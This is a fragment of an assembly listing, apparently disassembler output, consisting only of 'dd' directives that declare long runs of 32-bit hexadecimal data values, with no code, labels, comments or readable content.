		dd 1C6B7D23h, 0E45464FAh, 0E33C08EDh, 0C7F12C58h, 0F8AB7EB7h
		dd 90887B69h, 0EDAC541Fh, 5E3FFCC2h, 31088D26h,	0FFCEECCBh
		dd 2531469Dh, 371ACD1Ah, 2A70AD5Ah, 0B216C182h,	978277E8h
		dd 117511E2h, 168631Eh,	0D2A20C62h, 98A65B79h, 0B6520181h
		dd 0A08C30F0h, 0B2541756h, 0C82A8877h, 8A269D90h, 0BF2CE408h
		dd 74883C12h, 899C4080h, 4A09F172h, 0B5E5930h, 2D9478B7h
		dd 0FD855D04h, 25CFD078h, 561E44B1h, 0E5CB482Fh, 1FE3798Bh
		dd 39BE0050h, 81273C76h, 0F56C85A1h, 0DF6D810h,	11E81C18h
		dd 3726CC18h, 10C504Ah,	202F2D6Fh, 0BE09D722h, 189929Eh
		dd 2ED4BA3Bh, 83112E1h,	0BEBBFF80h, 2923F843h, 25A8F097h
		dd 0FBD38862h, 68505780h, 50EF12A2h, 6019EA28h,	0E8AF41E6h
		dd 8ABDF5BFh, 4303F80Ah, 2ABC3E9h, 3DB66820h, 28C07365h
		dd 0E0FF6EF2h, 0D1798914h, 0D8982398h, 2E1AEB20h, 4A15759h
		dd 0C117C821h, 96A7525Ch, 9D4EA8Fh, 66251DB6h, 0DB42C7DEh
		dd 5758027Bh, 47402676h, 1831EF81h, 62194983h, 861F2246h
		dd 518C16Fh, 1893C720h,	2C2D4401h, 0E52F18BDh, 756858FEh
		dd 0F95FB029h, 2BCB2C01h, 412551A0h, 0BD274385h, 0F6B8C34Bh
		dd 0D112DA48h, 0CE94B4E5h, 5AD92219h, 0D4F8F511h, 298C0F4Bh
		dd 0C53C5DEEh, 0C38E72C5h, 28D0C616h, 0FFA001F9h, 9F274B0Eh
		dd 0D7A2E359h, 82C58132h, 0D8C2E90Bh, 41FAA239h, 0A414024Fh
		dd 6C738019h, 0E92E0171h, 2189D3E1h, 48B8F1F7h,	43583B86h
		dd 49503F03h, 0E9C9096Ch, 0E1973A6Eh, 73285B60h, 0D08D9062h
		dd 96079D4Dh, 0B634256Fh, 51148FD9h, 20C88DB1h,	797AA29Eh
		dd 91976287h, 680457C5h, 0E4F276AFh, 0C2BA533Ch, 0B2A1B12h
		dd 0D729C850h, 0BBE42705h, 0F27AD52h, 5000F144h, 5D38FDB8h
		dd 0BE2890E1h, 13A0B75Eh, 5016F301h, 478FE780h,	4A43B840h
		dd 58B4CC0Ch, 6443C4B7h, 822C4B0Dh, 387CA6FFh, 1B625117h
		dd 29646959h, 0E7370A30h, 68A0AB38h, 31CB09CBh,	0C36F4290h
		dd 3504A59Ch, 0AE1E7A75h, 0A88F19E1h, 81C0020Bh, 83F480F4h
		dd 258E2C0h, 68D48850h,	0C4517BDEh, 5A401D92h, 0D17179BDh
		dd 0EDC10E36h, 0E0618105h, 8F236A1Fh, 8A49780Ch, 89850F43h
		dd 29C38825h, 0E4CF4A07h, 0C082AB5Ah, 3BE6C0C2h, 0CA398003h
		dd 40237CCh, 0FEFDE9D5h, 46B4FE48h, 5E52619Eh, 1F154602h
		dd 5C84F25Bh, 0EBACD8BEh, 2E2D803Bh, 0EC248B4Ch, 8B4E0820h
		dd 899014E9h, 3F3073Fh,	58E108F5h, 0C5C5D1F6h, 8E1909EEh
		dd 532256A0h, 81032C5Fh, 4B68C6E3h, 0DCF3B01Ah,	9B062F0Bh
		dd 0AD288559h, 4280540h, 205866E5h, 60B982E8h, 0ED22D75Ah
		dd 0B4AAF601h, 4CB02733h, 4DBF3DF2h, 58462E7Ah,	39BB2A3Bh
		dd 545B1825h, 0B368125Bh, 52578807h, 506FB79Eh,	2ECC3110h
		dd 1F282D5Bh, 82807A5Ah, 4B28C12Ch, 0F99BC3D0h,	12BF29AEh
		dd 0E87F43EDh, 9774E11Bh, 880DDFAh, 0E2A6575Eh,	450E8CBh
		dd 4FEEBD81h, 4C0906D3h, 0C03CFCF0h, 0E6800EEEh, 0E8897D9Dh
		dd 2EB70528h, 845B49BCh, 5DCFA785h, 0BF19C4C1h,	0CE50C614h
		dd 0B17858EAh, 0B7A75E89h, 0B0EEC44Dh, 0A44F042Eh, 41C9CCB0h
		dd 96B23BCFh, 1A0AC05Eh, 66EA089Fh, 0BF44155Bh,	0BA0306D6h
		dd 0E8272BBh, 168E0E57h, 480B2153h, 28335259h, 4C4AED34h
		dd 7970991Ch, 293C2F23h, 77599231h, 0A0C31098h,	91CA1D7Bh
		dd 115925Ah, 2BFDD703h,	4F0C8299h, 0D510ABB7h, 0F809EF80h
		dd 0AA4A44E9h, 0F052DF32h, 0C82B94A6h, 0D72509C7h, 62889871h
		dd 95F03D4h, 89CF1C6Fh,	0D7685AA4h, 535E0181h, 41032056h
		dd 0F10C2FD9h, 0AD6602E2h, 624F8D79h, 861683BBh, 6D5E1F8h
		dd 315084C6h, 1FFA0C4Fh, 13F9E76h, 8A272EEh, 27145888h
		dd 160A89C0h, 176F8482h, 0BF3C33AAh, 2E6330A1h,	12957BE0h
		dd 0BC072A3Dh, 0D21C0922h, 6F50002Eh, 5AB5168h,	49E9FB31h
		dd 2BCA3CAh, 0F9339BC9h, 0F3D9D019h, 1863A2CCh,	8E495CCAh
		dd 31264D23h, 0D1053942h, 3C08EECh, 12560BC1h, 0B1292619h
		dd 520807E8h, 0A1DEC85Dh, 5756E2ADh, 0FB520AC2h, 98B50820h
		dd 89E85A4Ch, 9DE62EEFh, 70C47B4Dh, 601E5A72h, 2D0D7860h
		dd 7C7926D3h, 4E26AE24h, 5E08CCB3h, 0E148C8A6h,	0DA368301h
		dd 152C6866h, 0AC100566h, 9AA44BB2h, 905C3920h,	0C34B24h
		dd 3B66F25Bh, 0E4A55E9h, 0F01346A7h, 4035A711h,	5F316862h
		dd 0BBF3292Dh, 0F343D76Eh, 0FD114E1h, 5B903F1Bh, 0B07433DFh
		dd 0B8DD20D3h, 0A8275E76h, 62F8F4C0h, 99F7B973h, 84705F83h
		dd 1A0973A1h, 6745E91Bh, 0DCF004F0h, 0DD7ECA97h, 0C20A869Ch
		dd 0AE3BAEE9h, 79156860h, 5E262D18h, 13983AFAh,	0F20959C7h
		dd 83070EC9h, 8CFE7FDCh, 0C42B6EA1h, 37CBFA43h,	0CC9D9412h
		dd 0CAB556C8h, 30E8556Fh, 60441D68h, 0C0B2AABEh, 6240DC1Bh
		dd 7B8BD85Bh, 19C28001h, 297ED3C1h, 0A1EBF83Bh,	9D12C3E6h
		dd 0E542B1E9h, 7E525CB7h, 0A1D44B82h, 0CB644425h, 0A703B192h
		dd 0E19A70C9h, 2A44BB40h, 6B0EFD82h, 0CC9A7D61h, 6584F5DDh
		dd 93BABB71h, 3FAC3E16h
		dd 9E4FE9B8h, 0FBAC1413h, 572C165Bh, 0C57D012Ah, 412EF1DCh
		dd 7A5DEFCCh, 39BAB37h,	4F1E0935h, 680EA46Fh, 0DF509D29h
		dd 2BBDE986h, 0EDCF97Fh, 71EFB2B1h, 474E271Dh, 5D438E74h
		dd 5352487h, 0F18B4901h, 0CF62F171h, 3F5F48DCh,	45989760h
		dd 0CA2444C4h, 51009E0Bh, 2F0ABF57h, 9CD90FCh, 0CB015FF9h
		dd 97DBD84h, 83F907B3h,	1BC6F893h, 67261253h, 62276E2h
		dd 0B6521847h, 0D8E9FC1Ah, 45A1402Bh, 82A44A47h, 174007D3h
		dd 1126384Dh, 0DF026B53h, 0F315F73h, 724212F8h,	41366C1Dh
		dd 0E05C07FDh, 0CE17019Ch, 0C4F56E72h, 72320FF0h, 286460CAh
		dd 708BFBACh, 5189925Eh, 0F5999ADFh, 0CE58F694h, 2DC3E474h
		dd 0FF11032h, 5E5A0ABFh, 7E08D841h, 9BFE14E5h, 0FBC0D19h
		dd 6A1370CEh, 6D7F19B8h, 9F10C665h, 76A91BD2h, 0D5F92FAEh
		dd 0B6868052h, 1B753CCh, 7DCF8069h, 0D7FED7F6h,	0E5E9040Ch
		dd 450A90Ch, 5D540730h,	0A72CAE29h, 57CB82Dh, 0D8293A6Bh
		dd 0E8071405h, 3133027Bh, 0E399E94Eh, 189635Bh,	0AED75054h
		dd 0B8504B92h, 0E9588174h, 319D28DAh, 0A285CBC8h, 71946E44h
		dd 8ACC1913h, 88759657h, 2C01B9B7h, 53F8288Ah, 0D96C8621h
		dd 92FA052Fh, 0AE20B6BAh, 4CB9040Bh, 0EC520E78h, 487A479Ah
		dd 5E2B05B7h, 6EF534Ah,	6DC2E936h, 244C860Fh, 70592901h
		dd 4B2C3744h, 0B096A29Bh, 0D569267Eh, 0D7A5192Fh, 5CCE9B1h
		dd 6284744Dh, 0D2F470D6h, 7001237h, 0D72B3908h,	0DBC41F51h
		dd 3187A225h, 2CF0E45Eh, 15F58100h, 5C0D431Dh, 5736E580h
		dd 4EF71075h, 9648B4DDh, 0CA01A791h, 7C123CD7h,	2A36E082h
		dd 0A0D72D92h, 0C716A8A8h, 12F6EC5Bh, 1F93A078h, 1FFCD0E0h
		dd 0E79EB87h, 370CD1D3h, 57C9081Fh, 65C990Ah, 562C27FBh
		dd 4A353081h, 7F882F42h, 891B178Ah, 2F2CB5Ah, 383E3556h
		dd 0DA8A6329h, 206DFAFEh, 0D11C9964h, 0F2674BE3h, 8A7B0B99h
		dd 0E500D6ECh, 46495192h, 690BF3F8h, 63297C6Ch,	45F0F0BBh
		dd 0EB82C0E3h, 9BEFCFEDh, 0E0AD82BDh, 0DED10719h, 0A2201EEBh
		dd 42045966h, 283C84E4h, 76A648D8h, 2EA42C3Ch, 892EF7F0h
		dd 0A784652Dh, 0AE4EA178h, 8B7E590Fh, 3A86FCAAh, 815B4A7Eh
		dd 27713CEh, 5AACD45Ch,	0DBAD3265h, 0BE080867h,	76FC6809h
		dd 0B8B09200h, 0EECB5A6Fh, 110C0221h, 9F073BCAh, 549FAF71h
		dd 0EA7C148Bh, 3AAD407Ah, 253690F7h, 3DD1BF4Fh,	201E6841h
		dd 0B710AF76h, 12493B81h, 96498C1Bh, 4A0255EEh,	25DCBC6h
		dd 0F7375429h, 46FE5A90h, 0BB3A2900h, 0D627DAEh, 0DD45BF31h
		dd 9D90E7A0h, 7782C5FAh, 1BBB7868h, 6DD20682h, 0EEC0136Ch
		dd 30A60E08h, 8F59ABCh,	0B4AE06FFh, 3FBD0BCBh, 0CA809F1Ch
		dd 5129E168h, 4D5D1112h, 8E66A903h, 1CAF94B6h, 356A8BAAh
		dd 0AD060F49h, 12185006h, 749DE2Dh, 9F5FFEF6h, 192F66E1h
		dd 411B3972h, 0BF4F2B08h, 0B25EF0D6h, 61BF9240h, 7578E916h
		dd 0C48B7A02h, 792D6548h, 0E942F7D3h, 7FDAB232h, 6C31FDC1h
		dd 60BA02CCh, 0E00CD244h, 95005EFh, 0D1297F7Eh,	573B32F7h
		dd 0D91082CDh, 0F2110C27h, 75037C31h, 0A719C35h, 0AB3934EEh
		dd 3985AA29h, 0FB66C331h, 0C595CA04h, 207C338Bh, 0CC417C3h
		dd 210A350Bh, 0B32D3FB8h, 9DD0F09h, 208C601h, 0D2F62CB2h
		dd 95F06CE9h, 5EC8F9Fh,	0C1F80E77h, 2EBBC9CDh, 0AA816881h
		dd 0BAD58405h, 7E88A388h, 0FB4726D1h, 39D0A710h, 6FEB2768h
		dd 0CBB85CE5h, 0FEA884h, 73481FBDh, 0B0315E1Eh,	6A90DECDh
		dd 9A20E92Eh, 5B0DDEA1h, 0C73293E3h, 41D7C350h,	0C3C5007Ch
		dd 5D4F5A75h, 8FA07504h, 0C36C275Dh, 46327702h,	0D021E913h
		dd 0C48003C0h, 58E32015h, 0F996CBB1h, 0B827347Bh, 0FA198F03h
		dd 9749913Eh, 0DE0926D2h, 2D8790C3h, 25D94558h,	0F4A5CCD3h
		dd 0FECF9385h, 0D45AAA22h, 0B3591653h, 75E916D3h, 0F7688A40h
		dd 0BA668935h, 57BA0615h, 0E4267D4h, 0A2725200h, 5AD08931h
		dd 0E3444A01h, 0E8C4FB4h, 18E14AE9h, 0A0B011BFh, 0EEC78831h
		dd 0DB42A1E7h, 3E00099Ch, 1447449Fh, 0D6FD3AB2h, 5BE466D5h
		dd 7A149D51h, 0BCE7132Dh, 17701F44h, 905266F3h,	1CED3810h
		dd 2EA4C288h, 0D22D6B2Ch, 0BFD2E42Ah, 77EE800Ch, 0FC2E9109h
		dd 0C1FF4A01h, 0C204B6FDh, 8A5C5470h, 2619B788h, 694003EDh
		dd 0EAB0488Fh, 0AA30084Bh, 41F54E18h, 24756031h, 2BE76A0Dh
		dd 1C27FC90h, 12BDA032h, 673B163h, 58427B2Dh, 0E92A7C6Ah
		dd 739D80D3h, 23E5CD33h, 9718114Eh, 6853BC61h, 7B6D4ADh
		dd 6BA5B28h, 21EF78CFh,	0DA290DF7h, 0F708B8A0h,	31E70E82h
		dd 445D5549h, 4B5D5A91h, 4FC45B3Fh, 1284284Ah, 6AFA7AC1h
		dd 12F67960h, 0C273162h, 0E90643B3h, 5C970554h,	250AC497h
		dd 0FFD62B96h, 79D0E6CCh, 1603B12h, 8EB5078h, 0E6F3D858h
		dd 31C92A55h, 659BFF44h, 68A38AE9h, 2330C53Fh, 576D33BEh
		dd 0AB0435D7h, 122DB28Ah, 4275EDE2h, 0E3815F2Ah, 0E6185037h
		dd 0A44565D7h, 39E0D0Ch, 0EE213ED7h, 0CD631035h, 0CB5B5414h
		dd 0CF19EF27h, 83E3E851h, 965914CBh, 4F682AC9h,	8879B58Eh
		dd 0B269E9E7h, 7262F4E7h, 0F8CFD7h, 0E90EE8C1h,	22B514DEh
		dd 2AA8818h, 99E9DD30h,	84652FE8h, 0FAA001ACh, 6815C6FEh
		dd 587D7540h, 0EC451018h, 0F08BE02h, 7D7020h, 4EA8F698h
		dd 46998BAh, 0D360B0E6h, 0C1E8074h, 544B4120h, 0C46F42B1h
		dd 0C2632478h, 5CFCFCE3h, 95414E60h, 0E5810212h, 455D7AC3h
		dd 0B1F2E1h, 95DDF74Dh,	54D31F83h, 6E0512DAh, 0C23A1AA1h
		dd 837728D8h, 0CD44C3D2h, 12BC24E1h, 0E9EDF102h, 0F4A921BEh
		dd 71FA7513h, 0DBB20104h, 0CE0FE9C2h, 0F7C22749h, 2621BE94h
		dd 0F51012EAh, 7A0FBA5Eh, 0A58415B8h, 0E4979071h, 89106D94h
		dd 80243E05h, 0A1A80415h, 219F407Bh, 798171A7h,	5603C9C6h
		dd 809F4458h, 0B5FB734h, 42D8B51Bh, 26F61900h, 8B7AF925h
		dd 850D0960h, 0F102616Fh, 0B9000377h, 0EE753264h, 4412768h
		dd 0C309B446h, 77151649h, 60464499h, 0ABDD7239h, 6C31CF81h
		dd 0D9600161h, 68854052h, 441AD425h, 2EB6F8A7h,	83CB413h
		dd 7C27C744h, 24192F8Eh, 6DE9E429h, 3492C041h, 171EEA82h
		dd 3081E0C9h, 0A4F8A6F2h, 6D0505C6h, 2D714A70h,	5E3192CBh
		dd 0B8A4F6EDh, 2B4704D7h, 0D1BE78A2h, 686FB74Fh, 10F94C51h
		dd 5A16708Fh, 0D1294E52h, 0A0D864D7h, 9C916634h, 0A2D5E0A5h
		dd 6785F716h, 5F9663E9h, 4A4168DBh, 9D400B5Eh, 0CF3638ACh
		dd 155D7E79h, 0F6BF04D1h, 4580C167h, 0D15FFDh, 0FF581EDh
		dd 0E9752DDBh, 0DAC2805Ah, 221C5589h, 7592C690h, 1878B800h
		dd 0F03545F8h, 4EB00167h, 487F842Dh, 71137F0Bh,	4272D500h
		dd 0D3814B79h, 8B0D285h, 6BED0387h, 554AE58h, 0C21FCEABh
		dd 42F01A1Eh, 1A86755Dh, 0FAEE212Ch, 0EC67EB2Eh, 91DF8605h
		dd 52F76625h, 6C372026h, 12155C58h, 7F8923C5h, 60DCB12Ah
		dd 8719B311h, 89130535h, 9D212320h, 0EF9F507Ah,	0E9C1071Eh
		dd 95AF2406h, 5897ABC8h, 0A96BF9B2h, 0FA5D8FA1h, 0B1E440AFh
		dd 0DF8780B2h, 8D3F731h, 1760E7D1h, 0C9EA05FCh,	0C0D72973h
		dd 0C2E9FB94h, 584B809Ah, 735192E2h, 0ED5CB56Eh, 5B16935Ch
		dd 59EB5016h, 0F2442E6Eh, 0E905035Bh, 96A36BADh, 0EB54571Ah
		dd 0BED6827Fh, 19AA3E5h, 0D73FC1FEh, 0D564536Eh, 3A0DC1B9h
		dd 0EA1B81F6h, 498232Dh
		dd 88E61F7Bh, 70260D0Ch, 0EF414E12h, 6219685Eh,	98FA9C3Ah
		dd 0CBC50744h, 835EEBB6h, 0FC1308h, 0CEFEEDB6h,	50BE6C0h
		dd 0C90EE80h, 4BF72416h, 0B4D0A896h, 532EF6F8h,	92F04FF7h
		dd 6C1A76D1h, 5304BE04h, 92AA9C68h, 0E55F1CB4h,	0B3BF80E1h
		dd 577DE6E7h, 0C35F5B27h, 9749A514h, 645E8749h,	61E30B92h
		dd 0C204C469h, 86AF4387h, 646AEFC5h, 1035E9BEh,	52E76DAh
		dd 13A248DFh, 99D45444h, 9E451101h, 0E1CD0120h,	0E90841EDh
		dd 5A97282Dh, 2F827024h, 5FEC5FC3h, 754E67F4h, 0B5EF3838h
		dd 0E918FF44h, 52A5B1CCh, 581570B2h, 0C62F38D0h, 0EF023D71h
		dd 604F7F4Dh, 166FA4E4h, 0A2927DEh, 2C08C6CAh, 7E585976h
		dd 90C3C4h, 955A5E68h, 0B09D26ECh, 8209F318h, 3555F907h
		dd 0F00182F6h, 6D4ABCC2h, 0BEA74C77h, 55BF30FDh, 6C09FB68h
		dd 0D25D3C99h, 9511358h, 3017BCB9h, 0F18D1206h,	55960BDBh
		dd 0A9825D58h, 8001A2B8h, 2F3040F4h, 97E4E603h,	30C4CC02h
		dd 9B44D982h, 0FE472D07h, 0C68B3EAFh, 1F1C6475h, 0BD38853h
		dd 0D1A1938Ah, 787A8468h, 1C21D7C9h, 105806Bh, 624C3862h
		dd 46EBD877h, 919F6A19h, 902E1E5Eh, 5564DC5Ch, 0D560407Bh
		dd 0BCBE6617h, 770DB067h, 255E7EF1h, 2166E80Eh,	0B96C79Fh
		dd 0B22B7AE9h, 4960954h, 0E0A632E8h, 44A47E5Ah,	1F5C3ACDh
		dd 0E50E45B0h, 43B76A8Fh, 551DEAFCh, 26C555BCh,	6CD5E234h
		dd 128749BBh, 312F3D52h, 0AA5A53D3h, 4731F3E3h,	685B00CAh
		dd 46BF5C98h, 7FC32099h, 78419EA1h, 8D512C48h, 19624200h
		dd 62B95E35h, 0F1310D40h, 0A2ED3940h, 29136AECh, 8E5282E9h
		dd 92DAE0Fh, 0D6240056h, 7923734Fh, 669F4D5Dh, 595A5109h
		dd 0F142F961h, 14C7D2Fh, 5629A9EEh, 68275D69h, 0BCF1C013h
		dd 0D22EA1FDh, 96FD2902h, 0E269BF18h, 0A9183ECDh, 12CBBFEDh
		dd 0A00E7369h, 0FE24E77Bh, 0C306F35h, 4F431834h, 79188708h
		dd 5FFE2568h, 13A02148h, 0C8EC7F5Dh, 5E36CA1h, 7A3069BAh
		dd 0F84F35DAh, 0FE5CA2EBh, 78BA40D1h, 45774A35h, 686FC9BDh
		dd 913E9725h, 2E64108h,	0FE839659h, 9E905220h, 786C0796h
		dd 0B912497Ah, 0FDCC84h, 0A42A55BEh, 6045F410h,	55615E8h
		dd 465F34F4h, 0D00073B1h, 4C9866D2h, 0B5F3859h,	8C46339Dh
		dd 36904226h, 3A5F3C0h,	67384C62h, 0B5A5DB2Ah, 0B374F658h
		dd 3EF4F541h, 5E4697CCh, 5D9AC124h, 9B4047A4h, 0FC806999h
		dd 75084D23h, 2821C705h, 30822DFEh, 18446625h, 4E676BCAh
		dd 0EAD23B5Dh, 5D9BCA59h, 1DAC6B47h, 127CC604h,	0D7EB1780h
		dd 58033113h, 0F94F040Ch, 2D0785Ch, 0B6E611F3h,	60B6F0ABh
		dd 162545B4h, 2B046E4Bh, 0BC657705h, 7B3F87EAh,	0ACE1DF82h
		dd 81818B79h, 0D555FEF2h, 0E8EA6480h, 1A5D0DBh,	7DECE8BDh
		dd 31F73404h, 8C91012h,	22276F48h, 56098C79h, 369998BEh
		dd 6F5B81CDh, 1A1239F6h, 0A22FEC29h, 522E2514h,	162CBE9Ch
		dd 28AD092Dh, 93502FDBh, 0BF570780h, 0B04BD118h, 521F7C2h
		dd 0C1303650h, 0EF2380E7h, 9418573Eh, 32204F6Ch, 0A37EBCh
		dd 2031372Dh, 5F82936h,	525F07A0h, 0A87E0BFh, 44184BA0h
		dd 0BEB12941h, 634CF38Ch, 0C7311074h, 0B07061FAh, 4AD2AD58h
		dd 0FEBFB601h, 88414270h, 0BB058980h, 67BB5216h, 6EDDFECBh
		dd 3038C966h, 97BBC383h, 0F7693F29h, 0E5B7BB1Ch, 3BCD01F2h
		dd 215A07ADh, 0A8D90000h, 6B02114Ch, 0E906E6C1h, 0C0F7E962h
		dd 3C150B7Fh, 0C0B27EA5h, 0F6DBF2EEh, 0CB8DA5Bh, 14336072h
		dd 0A874E9D6h, 0FD201CBAh, 0B78A982Fh, 10D3998Ah, 0F35C7066h
		dd 97BBB43Dh, 4ED79543h, 0F7E4FD92h, 0A02BAA9Fh, 4EAE884Bh
		dd 4A08C840h, 822EE0C3h, 0A39CCC9Ah, 75CF4469h,	4C1697A3h
		dd 47680CC4h, 0D97BE2E1h, 3E993A7Dh, 0EBBB642Fh, 0C201BB56h
		dd 32E77F6h, 4AC9B425h,	0C5F1ED20h, 5724E917h, 578D70B4h
		dd 124B6851h, 3EBE46CCh, 59D83F3Ah, 4EEE600h, 0AFE9778Dh
		dd 0E1A7CD4Bh, 2C16534Ah, 0F19F5702h, 8BEA4Fh, 1D42419Bh
		dd 97C783h, 7EAF70E0h, 0F8212EEEh, 18E80BCAh, 8E14784h
		dd 1655138Bh, 554EAA7Bh, 21BAEDD9h, 60A79D6Bh, 94BD2950h
		dd 4BB2F81Ch, 10FEB79Ch, 0D5486B61h, 0D0B2F017h, 6C18F103h
		dd 0CA010FB8h, 1C572159h, 0D6D6C7E9h, 2442AC8Bh, 458874Bh
		dd 2CE80383h, 0F0FCC4A7h, 8E2768D7h, 95FCD924h,	800FF5DCh
		dd 561E6EC6h, 25B8A498h, 39740D12h, 0E972621Fh,	0FAAB4CE1h
		dd 0F9064AB7h, 0D67F89FAh, 3E47259Fh, 0FF6E986h, 10C43B75h
		dd 1257DCA4h, 2A408D0Ah, 0CD4B7D7h, 0E65FF5ECh,	6BE84E64h
		dd 0F174DC89h, 0CF42B9C1h, 0FC4AC568h, 0DBAD9276h, 357FB116h
		dd 4A9FECA5h, 2819DDECh, 0DCFA6988h, 0EE956548h, 0A890F6B9h
		dd 12EABDA4h, 0A856D74Fh, 73B95B06h, 7F660273h,	0EA21B763h
		dd 0DFCA5A40h, 60884105h, 78D591E9h, 77B09201h,	2AEC0976h
		dd 3A9295F4h, 1E129580h, 71B51A3Dh, 7C312D07h, 7094205Eh
		dd 0E82E0846h, 0F07C13B3h, 0D90DF7DCh, 0A03E9C1h, 54680484h
		dd 0C08BB80Fh, 107ED5BFh, 45859529h, 113EA54h, 5F0543B3h
		dd 0FC5AEE68h, 3097C5D9h, 7DB72427h, 0ABE93601h, 0B5DC43ADh
		dd 9FC8E9F0h, 4BF39E0Bh, 5016E942h, 40BE073Fh, 0A576F458h
		dd 8098D450h, 0D71FC345h, 9FE1155Bh, 0C8EF0704h, 8BBF83EDh
		dd 28ADC72Ch, 203AF5D7h, 1ADF6805h, 9FB5E79Dh, 0CA4E5E9h
		dd 0FCC784F9h, 50728B73h, 1DBF0039h, 81B295EAh,	5E1A41C7h
		dd 570C3DC5h, 645A8F44h, 0DABBE585h, 0D7316E0h,	0E89D9EDh
		dd 0C57F8262h, 2F0CEBCBh, 3972238h, 2DCE31A1h, 8BB10C0h
		dd 24DC45DAh, 0C062A4B9h, 9908A4C0h, 38B6B802h,	0D0B76BAh
		dd 5F52D4E9h, 0D8343198h, 12BE6327h, 0CBDD8C6Eh, 0B85E8C40h
		dd 6693401Fh, 0F0305B1Fh, 0E4AE08CAh, 0C6E58087h, 82D2C533h
		dd 66CC55EBh, 4312D95Eh, 500C11Eh, 721FD865h, 81529789h
		dd 92A25B5Ah, 0CBE8311Dh, 0A5288409h, 0A354ADD5h, 728D1542h
		dd 16350865h, 0FD003ABFh, 0E9742C7Fh, 2CEBB919h, 0FCF9AD37h
		dd 4625A63h, 1677CF47h,	8FF1F856h, 54E32572h, 0E90A6BE8h
		dd 69DEF5E8h, 0D8F41C8Bh, 0C8565BCBh, 0B42992A6h, 7BD81D02h
		dd 80FC115Ah, 121EBD55h, 64EDCE71h, 0F462958Eh,	52E90C01h
		dd 2A446FD7h, 8DC1EE80h, 0DD3AA2B7h, 720320D2h,	59DADA41h
		dd 0CE6870A3h, 2E8F0D4Eh, 9D102048h, 18E90A17h,	0E440C1DBh
		dd 2E57AF3Ah, 2F98FB29h, 1BFCD54h, 676E2AF6h, 992E0196h
		dd 21027EBCh, 71DFE3E9h, 0F82203Ah, 5BC79CFh, 0E66BD7DCh
		dd 54C95F5Fh, 9CC1FEFCh, 533F125h, 0B150C984h, 7FF20583h
		dd 9CC253ACh, 3E0CC56Eh, 0F80AB316h, 0D3F61DBDh, 8008E340h
		dd 7751C3CBh, 48EDECB5h, 0D1017601h, 99E9DDF6h,	0EA5F8169h
		dd 48595D88h, 81E48AECh, 851BD857h, 605655A9h, 2E1261C9h
		dd 77EC0727h, 0EB9AE90Ch, 7609C947h, 1221C5Fh, 354E107Ah
		dd 6E089F60h, 2EC123E2h, 413E0759h, 2A68531Fh, 0F0FD3B3h
		dd 0A044C8B7h, 1531BE44h, 713960E1h, 0B75997DAh, 0B948037Bh
		dd 543276F6h, 7038AE0Bh, 0E1AE82C7h, 1255CB07h,	0DC095BF6h
		dd 17EBD292h, 68EC8B2Dh, 0AC134E65h, 0FEB6C07Ch, 73F480CCh
		dd 0B4B3EA04h, 56E90B8Eh, 0CEB0504Bh, 454CD642h, 7954108h
		dd 96DBD208h, 5963305Fh, 72C9966Ah, 0EE843054h,	0C9BA5106h
		dd 0AD80D2F4h, 5254E681h
		dd 67257524h, 31401405h, 0BB4B85ABh, 4A41FD98h,	0BA1935D2h
		dd 77291B8Ch, 0CD132DFh, 0AA7DC1BDh, 0F509AA81h, 60737E70h
		dd 710E368Bh, 132D480Eh, 9A4CEC55h, 85531367h, 5646F072h
		dd 6E52BE05h, 35C07195h, 48870B60h, 0EE3DC836h,	0F0FCBA2Fh
		dd 4209CE34h, 82D00587h, 0AC2E13BFh, 98F9A481h,	8B31F25Fh
		dd 21A24901h, 0EE12CA32h, 64C4B15Dh, 0EB5AC15Fh, 168DA9F0h
		dd 0BB6E6396h, 0FA29E904h, 3410D2F9h, 9B260D8h,	0B772605Fh
		dd 9A0D74CCh, 3D6BB612h, 280B060h, 0E96C1979h, 4D0AA83Ah
		dd 134AF401h, 0E46F2DFEh, 1AB001BDh, 0F994372Dh, 5650C394h
		dd 97577BDFh, 0C157A4ECh, 386EE956h, 0C38014EBh, 0B01E10F9h
		dd 0D358582Fh, 24E1D4C1h, 44FD7C35h, 2BDD364h, 8AEC583Ch
		dd 0F554EA01h, 0DA15C52h, 0EC4C82C9h, 0B63D5274h, 415E2D60h
		dd 83404624h, 4A2516C2h, 0A3ED8304h, 0D9687D09h, 0F11A1Ch
		dd 5E341FF9h, 36D5FD4Dh, 0F27C0AA7h, 2FFE1E85h,	8BE97CD2h
		dd 5886F408h, 1C7D4F09h, 0DFCB7BFBh, 0F4EDE84Eh, 0CD84F6E9h
		dd 0C45A0ED3h, 81CD768Fh, 47B5D082h, 0BB224E71h, 0BE3105E3h
		dd 6FA4D406h, 0BECD6011h, 1C6164EDh, 5994455Ah,	0A46DC0FAh
		dd 0B6502454h, 0E8975DFEh, 0BAA388DDh, 73F19F59h, 0A10034CAh
		dd 0E968230Fh, 2E5F69E2h, 0E9F037D6h, 28A667B0h, 0D7F9B7ACh
		dd 0C6D1F788h, 282FDD92h, 734A78D4h, 0B9EB3C18h, 5110E3B7h
		dd 0AF5EDDE9h, 8A8D6027h, 0D4BA808Bh, 5BC80100h, 3082E281h
		dd 8B5D5154h, 0F058CA6h, 0CAC0454Fh, 56847D26h,	63B0F2F8h
		dd 0E9FE8F0Eh, 800290AEh, 440454F3h, 5E28061h, 0D45F92BBh
		dd 8351FA78h, 9BCE20E2h, 0A4046358h, 9209D2AAh,	3A7D2E4Ah
		dd 8A3274B2h, 0AC27A938h, 0F45D143Fh, 55402889h, 883D5CB6h
		dd 56813F7h, 8E1A36AEh,	0C37DB764h, 689FD0FEh, 2DBA6460h
		dd 5882BB20h, 242DF258h, 1771FFE8h, 4979CB1Ch, 7D027F66h
		dd 0F722507Ah, 2BA3DEE8h, 0E91CF00Ah, 0C4A7B690h, 0FB23F751h
		dd 344E4698h, 0E96BFC05h, 128AC1D9h, 29E9CC5Ah,	0F520B6B8h
		dd 3CFE9881h, 5FA5CDFEh, 0CEE05A0h, 2625BB55h, 24BE765Dh
		dd 5B6607A2h, 0D483093h, 68306CEEh, 421A7A7Bh, 70626394h
		dd 1FFB5B5Ah, 2AB0C0Ah,	0E601F4D0h, 6FA05D85h, 0ACB27240h
		dd 25E9E472h, 0CAAB0832h, 84AD52F6h, 2FF88D4Eh,	0C9CB31E1h
		dd 0D8099ED9h, 0E248C310h, 1F857E25h, 551A809h,	0C307BEEEh
		dd 6F1A8190h, 0E92C0BDAh, 4FA21ACh, 0A262FC25h,	0B3640Ch
		dd 0FAF3BAB8h, 0A7059D5Bh, 25AAEF89h, 646BE0A2h, 24CCCB0h
		dd 7BC4A41h, 3206DB8Ch,	69A1F1F7h, 3BC4EA0h, 50348C20h
